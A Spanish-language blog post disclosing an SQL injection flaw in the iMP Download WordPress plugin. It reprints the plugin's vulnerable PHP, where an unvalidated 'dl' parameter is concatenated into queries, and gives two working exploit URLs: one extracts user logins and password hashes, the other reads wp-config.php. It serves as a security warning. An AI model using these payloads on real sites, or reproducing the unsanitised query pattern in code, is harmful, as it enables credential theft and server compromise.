Esta entrada que escribí meses atrás iba a quedar como borrador, pero visto las repercusiones en blogs hispanos sobre un supuesto nuevo problema de seguridad de WordPress, publico esta entrada porque el sitio afectado usaba este plugin — no tengo idea si esto tiene relación con el ataque que sufrió.

En las primeras líneas del plugin iMP-Download, se puede apreciar el siguiente código:

<?php
/*
Plugin Name: iMP Download
Version: 1.4.1
Plugin URI: http://www.inmypad.com/2007/01/wordpress-plugins-imp-download/
Author: Hardi P
Author URI: http://www.inmypad.com/
Description: Download manager for wordpress user featuring download count, force download, quicktag, members only, widgets, etc. Integrated with search engine to find your downloads easily and pagination on download list.
*/

if (isset($_GET['dl'])) {
	global $wpdb, $table_prefix;
	
	// require_once('../../../wp-blog-header.php');
	$option = get_option('iMP_Download_Option');
	
	$user_login = $_COOKIE['wordpressuser_' . COOKIEHASH];

	if ($option['dl_mo'] == 1 && !$user_login) {
		$login = get_settings('siteurl') . '/wp-login.php';
	?>
		<script type="text/javascript">
			var mo = confirm("Guest are not allowed to download!" + "\n" + "Press 'OK' to login/register or press 'CANCEL' to go back.")
			if (mo == true) {
				window.location = "<?php echo $login; ?>";
		    } else {
				window.location = document.referrer;
			}
		</script>
	<?php
		exit();
	}
	
	$dl_id = $_GET['dl'];
	$table_name = $table_prefix . 'imp_download';
	
	$wpdb->query("UPDATE $table_name SET dl_count=dl_count+1 WHERE dl_id='$dl_id'");
	
	$url = "SELECT dl_url FROM $table_name WHERE dl_id = $dl_id";
	$file = $wpdb->get_var($url);

	$file = str_replace(' ','%20',$file);
	$filename = basename($file);
	
	$mimetype = 'application/octet-stream';  // Set mime-type
	header("Pragma: "); // Leave blank for issues with IE
	header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
	header("Content-Type: $mimetype");
	if ($option['dl_fd'] == 1) {
		if (ini_get('allow_url_fopen') == 0 && !function_exists('curl_init')) {
			header('Location: '.$file.''); // Switch to normal download mode if allow_url_fopen is disabled and cURL is not available
		} else {
			header('Content-Disposition: attachment; filename='.basename($filename)); // Force download activated
		}
		
		if (ini_get('allow_url_fopen') == 1) {
			$file = fopen($file, "rb");
			fpassthru($file);
			exit();
		} elseif (function_exists('curl_init')) {
			$ch = curl_init();
			curl_setopt($ch, CURLOPT_URL, $file);
			curl_setopt($ch, CURLOPT_HEADER, 0);
			curl_exec ($ch);
			curl_close ($ch);
			exit();
		}
	} else {
		header('Location: '.$file.''); // Force download deactivated
		exit();
	}
}

Como se puede apreciar en las líneas 34 y 39, el parámetro dl no es validado adecuadamente; ésto permite que cualquier usuario pueda realizar ataques de inyección de SQL y hacer muchas cosas como:

* Obtener el usuario y contraseña de cualquier usuario
http://localhost/wp/?dl=0/**/UNION/**/ALL/**/SELECT/**/concat(user_login,0x2d,user_pass)/**/FROM/**/wp_users/**/WHERE/**/ID=1

* Si allow_url_fopen está habilitado, existe la posibilidad de descargar cualquier archivo del servidor (./wp-config.php)
http://localhost/wp/?dl=0/**/UNION/**/ALL/**/SELECT/**/0x2E2F77702D636F6E6669672E706870

Dada la gravedad del problema, es recomendable que desactiven — o corrijan — cuanto antes el mencionado plugin.

Tags: , , ,